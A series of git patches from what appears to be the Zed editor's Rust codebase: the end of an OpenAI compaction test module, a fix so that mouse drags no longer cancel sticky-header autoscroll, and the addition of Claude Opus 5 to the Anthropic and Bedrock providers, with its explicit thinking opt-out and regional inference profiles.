+    #[test]
+    fn provider_compaction_items_rejects_unknown_open_ai_format() {
+        let state = ProviderCompactionState::new(
+            OPEN_AI_PROVIDER_ID,
+            "openai.responses.input-items.v2",
+            "[]",
+        );
+        assert!(
+            provider_compaction_items(&state, &OPEN_AI_PROVIDER_ID)
+                .unwrap_err()
+                .to_string()
+                .contains("unsupported OpenAI compaction state format")
+        );
+    }
+
+    #[test]
+    fn provider_compaction_items_rejects_malformed_open_ai_state() {
+        let state = ProviderCompactionState::new(
+            OPEN_AI_PROVIDER_ID,
+            COMPACTION_STATE_FORMAT,
+            "not valid JSON",
+        );
+
+        assert!(provider_compaction_items(&state, &OPEN_AI_PROVIDER_ID).is_err());
+    }
+
+    fn compact_test_request() -> CompactRequest {
+        CompactRequest {
+            model: "gpt-5.4".to_string(),
+            instructions: None,
+            input: ResponseInput::new(
+                Vec::new(),
+                vec![ResponseInputItem::Message(ResponseMessageItem {
+                    role: Role::User,
+                    content: vec![ResponseInputContent::Text {
+                        text: "Retain this context.".to_string(),
+                    }],
+                    phase: None,
+                })],
+            ),
+            prompt_cache_key: Some("thread-123".to_string()),
+            service_tier: Some(ServiceTier::Priority),
+        }
+    }
+}

From f16101a758cdbbc0e2851a40d9b8bb70e60826b9 Mon Sep 17 00:00:00 2001
From: Tim Vermeulen <tvermeulen@me.com>
Date: Fri, 24 Jul 2026 20:49:53 +0200
Subject: [PATCH 688/772] editor: Fix sticky header drag cancels autoscroll
 (#53592)

In #52636 I seem to have introduced this bug, where mouse-down on a
sticky header followed by an immediate mouse movements sometimes dropped
the pending autoscroll request (to jump to the sticky header line):
https://github.com/zed-industries/zed/blob/1fcf9749a6ed384ae346ddf2049ae76e0cc430a9/crates/editor/src/scroll.rs#L453

Fixed by exiting early from `mouse_dragged` when
`editor.has_autoscroll_request()`.

What sometimes happened before this fix:


https://github.com/user-attachments/assets/b6dd6650-b5f0-4ea1-ae70-9c4cf69e31a0

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed bug where clicking on a sticky header would sometimes not jump
to that line in the editor
---
 crates/editor/src/element/mouse.rs | 96 +++++++++++++++++++++++++++++-
 1 file changed, 94 insertions(+), 2 deletions(-)

diff --git a/crates/editor/src/element/mouse.rs b/crates/editor/src/element/mouse.rs
index 4d174e71c08601..78bb6bd40494fc 100644
--- a/crates/editor/src/element/mouse.rs
+++ b/crates/editor/src/element/mouse.rs
@@ -1007,8 +1007,9 @@ impl EditorElement {
         window: &mut Window,
         cx: &mut Context<Editor>,
     ) {
-        if !editor.has_pending_selection()
-            && matches!(editor.selection_drag_state, SelectionDragState::None)
+        if editor.has_autoscroll_request()
+            || !editor.has_pending_selection()
+                && matches!(editor.selection_drag_state, SelectionDragState::None)
         {
             return;
         }
@@ -1194,3 +1195,94 @@ fn scale_vertical_mouse_autoscroll_delta(delta: Pixels) -> f32 {
 fn scale_horizontal_mouse_autoscroll_delta(delta: Pixels) -> f32 {
     (delta.pow(1.2) / 300.0).into()
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::{
+        SelectionEffects, editor_tests::init_test, scroll::Autoscroll,
+        test::editor_test_context::EditorTestContext,
+    };
+    use gpui::{Modifiers, TestAppContext};
+
+    #[gpui::test]
+    async fn test_mouse_drag_preserves_pending_sticky_header_autoscroll(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+        let mut cx = EditorTestContext::new(cx).await;
+
+        let line_height = cx.update_editor(|editor, window, cx| {
+            editor
+                .style(cx)
+                .text
+                .line_height_in_pixels(window.rem_size())
+        });
+
+        let buffer = indoc::indoc! {"
+                ˇfn foo() {
+                    let abc = 123;
+                }
+                struct Bar;
+                impl Bar {
+                    fn new() -> Self {
+                        Self
+                    }
+                }
+                fn baz() {
+                }
+            "};
+        cx.set_state(&buffer);
+
+        let text_origin_x = cx.update_editor(|editor, _, _| {
+            editor
+                .last_position_map
+                .as_ref()
+                .unwrap()
+                .text_hitbox
+                .bounds
+                .origin
+                .x
+        });
+
+        cx.update_editor(|editor, window, cx| {
+            editor.scroll(gpui::Point { x: 0., y: 5.5 }, None, window, cx);
+        });
+        cx.run_until_parked();
+
+        let mouse_drag_position = gpui::Point {
+            x: text_origin_x,
+            y: 2.25 * line_height,
+        };
+        cx.update_editor(|editor, window, cx| {
+            let position_map = editor.last_position_map.as_ref().unwrap().clone();
+            let anchor = editor
+                .snapshot(window, cx)
+                .display_snapshot
+                .display_point_to_anchor(DisplayPoint::new(DisplayRow(5), 0), Bias::Left);
+
+            editor.change_selections(
+                SelectionEffects::scroll(Autoscroll::top_relative(1.0)),
+                window,
+                cx,
+                |selections| {
+                    selections.clear_disjoint();
+                    selections
+                        .set_pending_anchor_range(anchor..anchor, crate::SelectMode::Character);
+                },
+            );
+            assert!(editor.has_autoscroll_request());
+
+            EditorElement::mouse_dragged(
+                editor,
+                &MouseMoveEvent {
+                    position: mouse_drag_position,
+                    modifiers: Modifiers::none(),
+                    pressed_button: Some(MouseButton::Left),
+                },
+                &position_map,
+                window,
+                cx,
+            );
+            assert!(editor.has_autoscroll_request());
+        });
+    }
+}

From 640286ae3e8bfd0a73afef42ce4be6ba26950ca1 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Fri, 24 Jul 2026 15:56:07 -0400
Subject: [PATCH 689/772] Opus 5 BYOK Support (#61596)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

<img width="844" height="404" alt="Screenshot 2026-07-24 at 3 47 04 PM"
src="https://github.com/user-attachments/assets/4691a246-bab9-4426-aa0b-6a7cfa2aa486"
/>
action support, and explicit thinking opt-out behavior.

Adds Claude Opus 5 to the Anthropic and Amazon Bedrock BYOK providers,
including its documented context and output limits, regional inference
profiles, fast mode and comp

Release Notes:

- Added Claude Opus 5 support for Anthropic and Amazon Bedrock BYOK
providers.
---
 crates/anthropic/src/anthropic.rs             |  45 ++++--
 crates/anthropic/src/completion.rs            | 100 +++++++++++--
 crates/bedrock/src/bedrock.rs                 | 132 ++++++++++++++----
 crates/bedrock/src/models.rs                  |  88 +++++++++++-
 .../language_models/src/provider/bedrock.rs   | 113 +++++++++++----
 5 files changed, 397 insertions(+), 81 deletions(-)

diff --git a/crates/anthropic/src/anthropic.rs b/crates/anthropic/src/anthropic.rs
index 3f034bf03c76ae..c499e79e1271a4 100644
--- a/crates/anthropic/src/anthropic.rs
+++ b/crates/anthropic/src/anthropic.rs
@@ -22,7 +22,22 @@ pub const ANTHROPIC_API_URL: &str = "https://api.anthropic.com";
 pub const FAST_MODE_BETA_HEADER: &str = "fast-mode-2026-02-01";
 
 pub fn supports_fast_mode(model_id: &str) -> bool {
-    matches!(model_id, "claude-opus-4-8")
+    matches!(model_id, "claude-opus-5" | "claude-opus-4-8")
+}
+
+/// Model IDs where adaptive thinking runs by default when a request omits the
+/// `thinking` field, and where thinking must instead be turned off with an
+/// explicit `thinking: {"type": "disabled"}`.
+///
+/// On earlier Opus models omitting `thinking` means thinking is off; Claude
+/// Opus 5 flipped that default. Claude Fable 5 and Claude Mythos 5 also think
+/// by default, but they reject `{"type": "disabled"}` with a 400 error, so
+/// they are deliberately excluded here (thinking cannot be turned off for
+/// them at all).
+///
+/// <https://platform.claude.com/docs/en/about-claude/models/migration-guide#migrating-to-claude-opus-5>
+pub fn requires_explicit_thinking_opt_out(model_id: &str) -> bool {
+    matches!(model_id, "claude-opus-5")
 }
 
 pub const FABLE_MODEL_ID_PREFIX: &str = "claude-fable-5";
@@ -168,6 +183,7 @@ impl Model {
             "claude-fable-5"
                 | "claude-mythos-5"
                 | "claude-mythos-preview"
+                | "claude-opus-5"
                 | "claude-opus-4-8"
                 | "claude-opus-4-7"
                 | "claude-opus-4-6"
@@ -732,6 +748,10 @@ pub enum Thinking {
         #[serde(default, skip_serializing_if = "Option::is_none")]
         display: Option<AdaptiveThinkingDisplay>,
     },
+    /// Explicitly turns thinking off. Required by models where thinking runs
+    /// by default (see [`requires_explicit_thinking_opt_out`]); only accepted
+    /// at effort `high` or below.
+    Disabled,
 }
 
 #[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)]
@@ -1209,18 +1229,17 @@ mod tests {
     }
 
     #[test]
-    fn from_listed_enables_fast_mode_for_opus_4_8() {
-        let model = Model::from_listed(listed_entry(
-            "claude-opus-4-8",
-            ModelCapabilities::default(),
-        ));
-
-        assert!(model.supports_speed);
-        let beta_headers = model
-            .beta_headers()
-            .expect("model should have beta headers");
-        assert!(beta_headers.contains(FAST_MODE_BETA_HEADER));
-        assert!(beta_headers.contains(COMPACTION_BETA_HEADER));
+    fn from_listed_enables_fast_mode_and_compaction_for_supported_opus_models() {
+        for model_id in ["claude-opus-5", "claude-opus-4-8"] {
+            let model = Model::from_listed(listed_entry(model_id, ModelCapabilities::default()));
+
+            assert!(model.supports_speed);
+            let beta_headers = model
+                .beta_headers()
+                .expect("model should have beta headers");
+            assert!(beta_headers.contains(FAST_MODE_BETA_HEADER));
+            assert!(beta_headers.contains(COMPACTION_BETA_HEADER));
+        }
     }
 
     #[test]
diff --git a/crates/anthropic/src/completion.rs b/crates/anthropic/src/completion.rs
index f02ab0b60487ae..6c0b65114b0fc3 100644
--- a/crates/anthropic/src/completion.rs
+++ b/crates/anthropic/src/completion.rs
@@ -341,6 +341,29 @@ pub fn into_anthropic(
         last_tool.cache_control = Some(cache_control);
     }
 
+    let thinking = if request.thinking_allowed {
+        match mode {
+            AnthropicModelMode::Thinking { budget_tokens } => {
+                Some(Thinking::Enabled { budget_tokens })
+            }
+            AnthropicModelMode::AdaptiveThinking => Some(Thinking::Adaptive {
+                display: Some(AdaptiveThinkingDisplay::Summarized),
+            }),
+            AnthropicModelMode::Default => None,
+        }
+    } else if crate::requires_explicit_thinking_opt_out(&model) {
+        // On Claude Opus 5, omitting the `thinking` field no longer means
+        // "off": the model runs adaptive thinking by default, so features
+        // that suppress thinking (e.g. inline assist) must opt out
+        // explicitly. `disabled` is only accepted at effort `high` or below;
+        // that holds here because `output_config` is never sent when thinking
+        // is disallowed, and the server-side default effort is `high`.
+        // <https://platform.claude.com/docs/en/about-claude/models/migration-guide#migrating-to-claude-opus-5>
+        Some(Thinking::Disabled)
+    } else {
+        None
+    };
+
     Ok(crate::Request {
         model,
         messages: new_messages,
@@ -356,19 +379,7 @@ pub fn into_anthropic(
                 cache_type: CacheControlType::Ephemeral,
                 ttl: None,
             }),
-        thinking: if request.thinking_allowed {
-            match mode {
-                AnthropicModelMode::Thinking { budget_tokens } => {
-                    Some(Thinking::Enabled { budget_tokens })
-                }
-                AnthropicModelMode::AdaptiveThinking => Some(Thinking::Adaptive {
-                    display: Some(AdaptiveThinkingDisplay::Summarized),
-                }),
-                AnthropicModelMode::Default => None,
-            }
-        } else {
-            None
-        },
+        thinking,
         tools,
         tool_choice: request.tool_choice.map(|choice| match choice {
             LanguageModelToolChoice::Auto => ToolChoice::Auto,
@@ -952,6 +963,69 @@ mod tests {
         );
     }
 
+    #[test]
+    fn test_thinking_disallowed_sends_explicit_opt_out_only_where_required() {
+        // (model, expects_explicit_opt_out): Claude Opus 5 thinks by default
+        // when the `thinking` field is omitted, so suppressing thinking
+        // requires sending `{"type": "disabled"}`. Earlier Opus models treat
+        // omission as "off", and Fable rejects `disabled` outright, so both
+        // must keep omitting the field.
+        for (model, expects_explicit_opt_out) in [
+            ("claude-opus-5", true),
+            ("claude-opus-4-8", false),
+            ("claude-fable-5", false),
+        ] {
+            let request = LanguageModelRequest {
+                messages: vec![LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Hi".to_string())],
+                    cache: false,
+                    reasoning_details: None,
+                }],
+                thread_id: None,
+                prompt_id: None,
+                intent: None,
+                stop: vec![],
+                temperature: None,
+                tools: vec![],
+                tool_choice: None,
+                thinking_allowed: false,
+                thinking_effort: None,
+                speed: None,
+                compact_at_tokens: None,
+            };
+
+            let anthropic_request = into_anthropic(
+                request,
+                model.to_string(),
+                1.0,
+                128_000,
+                AnthropicModelMode::AdaptiveThinking,
+                AnthropicPromptCacheMode::Automatic,
+                &ANTHROPIC_PROVIDER_ID,
+            )
+            .unwrap();
+
+            if expects_explicit_opt_out {
+                assert!(
+                    matches!(anthropic_request.thinking, Some(Thinking::Disabled)),
+                    "{model} should send an explicit thinking opt-out"
+                );
+                // `disabled` combined with effort `xhigh`/`max` is a 400, so
+                // no effort may accompany the opt-out.
+                assert!(
+                    anthropic_request.output_config.is_none(),
+                    "{model} must not send output_config with thinking disabled"
+                );
+            } else {
+                assert!(
+                    anthropic_request.thinking.is_none(),
+                    "{model} should omit the thinking field entirely"
+                );
+            }
+        }
+    }
+
     #[test]
     fn test_no_cache_control_when_caching_disabled() {
         let request = LanguageModelRequest {
diff --git a/crates/bedrock/src/bedrock.rs b/crates/bedrock/src/bedrock.rs
index e8ce37e8c8f423..19d210208e6536 100644
--- a/crates/bedrock/src/bedrock.rs
+++ b/crates/bedrock/src/bedrock.rs
@@ -43,30 +43,8 @@ pub async fn stream_completion(
 
     let mut additional_fields: HashMap<String, Document> = HashMap::new();
 
-    match request.thinking {
-        Some(Thinking::Enabled {
-            budget_tokens: Some(budget_tokens),
-        }) => {
-            let thinking_config = HashMap::from([
-                ("type".to_string(), Document::String("enabled".to_string())),
-                (
-                    "budget_tokens".to_string(),
-                    Document::Number(AwsNumber::PosInt(budget_tokens)),
-                ),
-            ]);
-            additional_fields.insert("thinking".to_string(), Document::from(thinking_config));
-        }
-        Some(Thinking::Adaptive { effort: _ }) => {
-            let thinking_config = HashMap::from([
-                ("type".to_string(), Document::String("adaptive".to_string())),
-                (
-                    "display".to_string(),
-                    Document::String("summarized".to_string()),
-                ),
-            ]);
-            additional_fields.insert("thinking".to_string(), Document::from(thinking_config));
-        }
-        _ => {}
+    if let Some(thinking) = &request.thinking {
+        additional_fields.extend(thinking_request_fields(thinking));
     }
 
     if !additional_fields.is_empty() {
@@ -212,6 +190,64 @@ pub enum Thinking {
     Adaptive {
         effort: BedrockAdaptiveThinkingEffort,
     },
+    /// Explicitly turns thinking off. Required by Claude Opus 5, where
+    /// adaptive thinking runs by default when the `thinking` field is
+    /// omitted; only accepted at effort `high` or below.
+    ///
+    /// <https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-opus-5.html>
+    Disabled,
+}
+
+/// Converts the request's thinking configuration into the
+/// `additionalModelRequestFields` entries understood by Anthropic models on
+/// the Converse API.
+fn thinking_request_fields(thinking: &Thinking) -> HashMap<String, Document> {
+    let mut fields = HashMap::new();
+    match thinking {
+        Thinking::Enabled {
+            budget_tokens: Some(budget_tokens),
+        } => {
+            fields.insert(
+                "thinking".to_string(),
+                Document::from(HashMap::from([
+                    ("type".to_string(), Document::String("enabled".to_string())),
+                    (
+                        "budget_tokens".to_string(),
+                        Document::Number(AwsNumber::PosInt(*budget_tokens)),
+                    ),
+                ])),
+            );
+        }
+        Thinking::Enabled {
+            budget_tokens: None,
+        } => {}
+        Thinking::Adaptive { effort: _ } => {
+            fields.insert(
+                "thinking".to_string(),
+                Document::from(HashMap::from([
+                    ("type".to_string(), Document::String("adaptive".to_string())),
+                    (
+                        "display".to_string(),
+                        Document::String("summarized".to_string()),
+                    ),
+                ])),
+            );
+        }
+        Thinking::Disabled => {
+            // On Claude Opus 5 omitting the `thinking` field means adaptive
+            // thinking runs by default, so turning it off requires this
+            // explicit opt-out. No effort is attached: `disabled` combined
+            // with effort `xhigh`/`max` is rejected with a 400.
+            fields.insert(
+                "thinking".to_string(),
+                Document::from(HashMap::from([(
+                    "type".to_string(),
+                    Document::String("disabled".to_string()),
+                )])),
+            );
+        }
+    }
+    fields
 }
 
 #[derive(Debug)]
@@ -255,3 +291,51 @@ pub enum BedrockError {
     #[error(transparent)]
     Other(#[from] anyhow::Error),
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn string_field<'a>(document: &'a Document, key: &str) -> Option<&'a str> {
+        match document {
+            Document::Object(map) => match map.get(key) {
+                Some(Document::String(value)) => Some(value.as_str()),
+                _ => None,
+            },
+            _ => None,
+        }
+    }
+
+    #[test]
+    fn test_disabled_thinking_serializes_opt_out_without_effort() {
+        let fields = thinking_request_fields(&Thinking::Disabled);
+
+        let thinking = fields.get("thinking").expect("thinking field");
+        assert_eq!(string_field(thinking, "type"), Some("disabled"));
+        // `disabled` combined with an effort of `xhigh`/`max` is a 400, so no
+        // output_config may accompany the opt-out.
+        assert!(!fields.contains_key("output_config"));
+    }
+
+    #[test]
+    fn test_enabled_thinking_serializes_budget_tokens() {
+        let fields = thinking_request_fields(&Thinking::Enabled {
+            budget_tokens: Some(4_096),
+        });
+
+        let thinking = fields.get("thinking").expect("thinking field");
+        assert_eq!(string_field(thinking, "type"), Some("enabled"));
+        match thinking {
+            Document::Object(map) => assert_eq!(
+                map.get("budget_tokens"),
+                Some(&Document::Number(AwsNumber::PosInt(4_096)))
+            ),
+            _ => panic!("thinking field should be an object"),
+        }
+
+        let fields = thinking_request_fields(&Thinking::Enabled {
+            budget_tokens: None,
+        });
+        assert!(fields.is_empty());
+    }
+}
diff --git a/crates/bedrock/src/models.rs b/crates/bedrock/src/models.rs
index 9b8a25964018ca..eb5d40ac8fee75 100644
--- a/crates/bedrock/src/models.rs
+++ b/crates/bedrock/src/models.rs
@@ -55,6 +55,13 @@ pub enum ConverseModel {
         alias = "claude-fable-5-thinking-latest"
     )]
     ClaudeFable5,
+    #[serde(
+        rename = "claude-opus-5",
+        alias = "claude-opus-5-latest",
+        alias = "claude-opus-5-thinking",
+        alias = "claude-opus-5-thinking-latest"
+    )]
+    ClaudeOpus5,
     #[serde(
         rename = "claude-opus-4-8",
         alias = "claude-opus-4-8-latest",
@@ -235,6 +242,8 @@ impl ConverseModel {
     pub fn from_id(id: &str) -> anyhow::Result<Self> {
         if id.starts_with("claude-fable-5") {
             Ok(Self::ClaudeFable5)
+        } else if id.starts_with("claude-opus-5") {
+            Ok(Self::ClaudeOpus5)
         } else if id.starts_with("claude-opus-4-8") {
             Ok(Self::ClaudeOpus4_8)
         } else if id.starts_with("claude-opus-4-7") {
@@ -263,6 +272,7 @@ impl ConverseModel {
     pub fn id(&self) -> &str {
         match self {
             Self::ClaudeFable5 => "claude-fable-5",
+            Self::ClaudeOpus5 => "claude-opus-5",
             Self::ClaudeOpus4_8 => "claude-opus-4-8",
             Self::ClaudeOpus4_7 => "claude-opus-4-7",
             Self::ClaudeOpus4_6 => "claude-opus-4-6",
@@ -316,6 +326,7 @@ impl ConverseModel {
     pub fn request_id(&self) -> &str {
         match self {
             Self::ClaudeFable5 => "anthropic.claude-fable-5",
+            Self::ClaudeOpus5 => "anthropic.claude-opus-5",
             Self::ClaudeOpus4_8 => "anthropic.claude-opus-4-8",
             Self::ClaudeOpus4_7 => "anthropic.claude-opus-4-7",
             Self::ClaudeOpus4_6 => "anthropic.claude-opus-4-6-v1",
@@ -369,6 +380,7 @@ impl ConverseModel {
     pub fn display_name(&self) -> &str {
         match self {
             Self::ClaudeFable5 => "Claude Fable 5",
+            Self::ClaudeOpus5 => "Claude Opus 5",
             Self::ClaudeOpus4_8 => "Claude Opus 4.8",
             Self::ClaudeOpus4_7 => "Claude Opus 4.7",
             Self::ClaudeOpus4_6 => "Claude Opus 4.6",
@@ -424,6 +436,7 @@ impl ConverseModel {
     pub fn max_token_count(&self) -> u64 {
         match self {
             Self::ClaudeFable5
+            | Self::ClaudeOpus5
             | Self::ClaudeOpus4_8
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_6
@@ -461,6 +474,7 @@ impl ConverseModel {
     pub fn max_output_tokens(&self) -> u64 {
         match self {
             Self::ClaudeFable5
+            | Self::ClaudeOpus5
             | Self::ClaudeOpus4_8
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_6
@@ -503,6 +517,7 @@ impl ConverseModel {
     pub fn default_temperature(&self) -> f32 {
         match self {
             Self::ClaudeFable5
+            | Self::ClaudeOpus5
             | Self::ClaudeOpus4_8
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_6
@@ -524,6 +539,7 @@ impl ConverseModel {
     pub fn supports_tool_use(&self) -> bool {
         match self {
             Self::ClaudeFable5
+            | Self::ClaudeOpus5
             | Self::ClaudeOpus4_8
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_6
@@ -558,6 +574,7 @@ impl ConverseModel {
     pub fn supports_images(&self) -> bool {
         match self {
             Self::ClaudeFable5
+            | Self::ClaudeOpus5
             | Self::ClaudeOpus4_8
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_6
@@ -579,6 +596,7 @@ impl ConverseModel {
     pub fn supports_caching(&self) -> bool {
         match self {
             Self::ClaudeFable5
+            | Self::ClaudeOpus5
             | Self::ClaudeOpus4_8
             | Self::ClaudeOpus4_7
             | Self::ClaudeOpus4_6
@@ -601,6 +619,7 @@ impl ConverseModel {
         matches!(
             self,
             Self::ClaudeFable5
+                | Self::ClaudeOpus5
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_6
@@ -618,6 +637,7 @@ impl ConverseModel {
         matches!(
             self,
             Self::ClaudeFable5
+                | Self::ClaudeOpus5
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_6
@@ -629,7 +649,7 @@ impl ConverseModel {
     pub fn supports_xhigh_adaptive_thinking(&self) -> bool {
         matches!(
             self,
-            Self::ClaudeFable5 | Self::ClaudeOpus4_8 | Self::ClaudeSonnet5
+            Self::ClaudeFable5 | Self::ClaudeOpus5 | Self::ClaudeOpus4_8 | Self::ClaudeSonnet5
         )
     }
 
@@ -657,6 +677,7 @@ impl ConverseModel {
         let supports_global = matches!(
             self,
             Self::ClaudeFable5
+                | Self::ClaudeOpus5
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_6
@@ -720,6 +741,7 @@ impl ConverseModel {
             // Global inference profiles
             (
                 Self::ClaudeFable5
+                | Self::ClaudeOpus5
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_6
@@ -739,6 +761,7 @@ impl ConverseModel {
             // US region inference profiles
             (
                 Self::ClaudeFable5
+                | Self::ClaudeOpus5
                 | Self::ClaudeOpus4_8
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_6
@@ -763,9 +786,17 @@ impl ConverseModel {
             // Canada region inference profiles
             (Self::NovaLite, "ca") => Ok(format!("{}.{}", region_group, model_id)),
 
+            // Canada has no Claude-specific `ca.` profiles. AWS instead lists
+            // ca-central-1 and ca-west-1 as source regions of the US geo
+            // profile for these models, which keeps data within US and Canada
+            // regions. See the per-model cards, e.g.
+            // <https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-opus-5.html>.
+            (Self::ClaudeOpus5, "ca") => Ok(format!("us.{}", model_id)),
+
             // EU region inference profiles
             (
-                Self::ClaudeOpus4_8
+                Self::ClaudeOpus5
+                | Self::ClaudeOpus4_8
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_6
                 | Self::ClaudeSonnet4_6
@@ -780,7 +811,8 @@ impl ConverseModel {
 
             // Australia region inference profiles
             (
-                Self::ClaudeOpus4_8
+                Self::ClaudeOpus5
+                | Self::ClaudeOpus4_8
                 | Self::ClaudeOpus4_7
                 | Self::ClaudeOpus4_6
                 | Self::ClaudeSonnet4_6
@@ -789,7 +821,10 @@ impl ConverseModel {
                 "au",
             ) => Ok(format!("{}.{}", region_group, model_id)),
 
-            // Japan region inference profiles
+            // Japan region inference profiles. Claude Opus 5 is deliberately
+            // absent: its model card lists only `us.`/`eu.`/`au.` geo profiles
+            // (plus `global.`):
+            // <https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-anthropic-claude-opus-5.html>
             (
                 Self::ClaudeSonnet4_6
                 | Self::ClaudeSonnet4_5
@@ -1083,6 +1118,10 @@ mod tests {
             ConverseModel::ClaudeSonnet5.cross_region_inference_id("us-east-1", false)?,
             "us.anthropic.claude-sonnet-5"
         );
+        assert_eq!(
+            ConverseModel::ClaudeOpus5.cross_region_inference_id("us-east-1", false)?,
+            "us.anthropic.claude-opus-5"
+        );
         assert_eq!(
             ConverseModel::NovaPro.cross_region_inference_id("us-east-2", false)?,
             "us.amazon.nova-pro-v1:0"
@@ -1120,6 +1159,10 @@ mod tests {
             ConverseModel::ClaudeOpus4_8.cross_region_inference_id("eu-west-1", false)?,
             "eu.anthropic.claude-opus-4-8"
         );
+        assert_eq!(
+            ConverseModel::ClaudeOpus5.cross_region_inference_id("eu-west-1", false)?,
+            "eu.anthropic.claude-opus-5"
+        );
         Ok(())
     }
 
@@ -1179,6 +1222,10 @@ mod tests {
             ConverseModel::ClaudeOpus4_8.cross_region_inference_id("ap-southeast-2", false)?,
             "au.anthropic.claude-opus-4-8"
         );
+        assert_eq!(
+            ConverseModel::ClaudeOpus5.cross_region_inference_id("ap-southeast-2", false)?,
+            "au.anthropic.claude-opus-5"
+        );
         Ok(())
     }
 
@@ -1188,6 +1235,13 @@ mod tests {
             ConverseModel::ClaudeHaiku4_5.cross_region_inference_id("ap-northeast-1", false)?,
             "jp.anthropic.claude-haiku-4-5-20251001-v1:0"
         );
+        // Claude Opus 5 has no `jp.` geo profile, so it falls through to the
+        // bare model id (which fails at request time with a region hint)
+        // rather than fabricating an undocumented profile.
+        assert_eq!(
+            ConverseModel::ClaudeOpus5.cross_region_inference_id("ap-northeast-1", false)?,
+            "anthropic.claude-opus-5"
+        );
         assert_eq!(
             ConverseModel::ClaudeSonnet4_5.cross_region_inference_id("ap-northeast-3", false)?,
             "jp.anthropic.claude-sonnet-4-5-20250929-v1:0"
@@ -1205,6 +1259,12 @@ mod tests {
             ConverseModel::NovaLite.cross_region_inference_id("ca-central-1", false)?,
             "ca.amazon.nova-lite-v1:0"
         );
+        // Canadian regions are source regions of the US geo profile for
+        // recent Opus models; there are no `ca.` Claude profiles.
+        assert_eq!(
+            ConverseModel::ClaudeOpus5.cross_region_inference_id("ca-central-1", false)?,
+            "us.anthropic.claude-opus-5"
+        );
         Ok(())
     }
 
@@ -1247,6 +1307,10 @@ mod tests {
             ConverseModel::ClaudeOpus4_8.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-opus-4-8"
         );
+        assert_eq!(
+            ConverseModel::ClaudeOpus5.cross_region_inference_id("us-east-1", true)?,
+            "global.anthropic.claude-opus-5"
+        );
         assert_eq!(
             ConverseModel::ClaudeFable5.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-fable-5"
@@ -1327,6 +1391,7 @@ mod tests {
         assert_eq!(ConverseModel::DeepSeekR1.id(), "deepseek-r1");
         assert_eq!(ConverseModel::Llama4Scout17B.id(), "llama-4-scout-17b");
         assert_eq!(ConverseModel::ClaudeFable5.id(), "claude-fable-5");
+        assert_eq!(ConverseModel::ClaudeOpus5.id(), "claude-opus-5");
         assert_eq!(ConverseModel::ClaudeSonnet5.id(), "claude-sonnet-5");
 
         assert_eq!(
@@ -1346,6 +1411,10 @@ mod tests {
             ConverseModel::ClaudeFable5.request_id(),
             "anthropic.claude-fable-5"
         );
+        assert_eq!(
+            ConverseModel::ClaudeOpus5.request_id(),
+            "anthropic.claude-opus-5"
+        );
         assert_eq!(
             ConverseModel::ClaudeSonnet5.request_id(),
             "anthropic.claude-sonnet-5"
@@ -1365,6 +1434,12 @@ mod tests {
                 .id(),
             "claude-fable-5"
         );
+        assert_eq!(
+            ConverseModel::from_id("claude-opus-5-thinking")
+                .unwrap()
+                .id(),
+            "claude-opus-5"
+        );
         assert_eq!(
             ConverseModel::from_id("claude-sonnet-5-thinking")
                 .unwrap()
@@ -1380,14 +1455,17 @@ mod tests {
         assert!(ConverseModel::ClaudeSonnet4_5.supports_thinking());
         assert!(ConverseModel::ClaudeOpus4_6.supports_thinking());
         assert!(ConverseModel::ClaudeFable5.supports_thinking());
+        assert!(ConverseModel::ClaudeOpus5.supports_thinking());
 
         assert!(!ConverseModel::ClaudeSonnet4.supports_adaptive_thinking());
         assert!(ConverseModel::ClaudeOpus4_6.supports_adaptive_thinking());
         assert!(ConverseModel::ClaudeSonnet4_6.supports_adaptive_thinking());
         assert!(ConverseModel::ClaudeFable5.supports_adaptive_thinking());
+        assert!(ConverseModel::ClaudeOpus5.supports_adaptive_thinking());
         assert!(ConverseModel::ClaudeSonnet5.supports_adaptive_thinking());
         assert!(!ConverseModel::ClaudeOpus4_7.supports_xhigh_adaptive_thinking());
         assert!(ConverseModel::ClaudeFable5.supports_xhigh_adaptive_thinking());
+        assert!(ConverseModel::ClaudeOpus5.supports_xhigh_adaptive_thinking());
         assert!(ConverseModel::ClaudeSonnet5.supports_xhigh_adaptive_thinking());
         assert!(ConverseModel::ClaudeOpus4_8.supports_xhigh_adaptive_thinking());
         assert_eq!(BedrockAdaptiveThinkingEffort::XHigh.as_str(), "xhigh");
@@ -1417,6 +1495,7 @@ mod tests {
         assert_eq!(ConverseModel::ClaudeSonnet4_5.max_token_count(), 1_000_000);
         assert_eq!(ConverseModel::ClaudeOpus4_6.max_token_count(), 1_000_000);
         assert_eq!(ConverseModel::ClaudeFable5.max_token_count(), 1_000_000);
+        assert_eq!(ConverseModel::ClaudeOpus5.max_token_count(), 1_000_000);
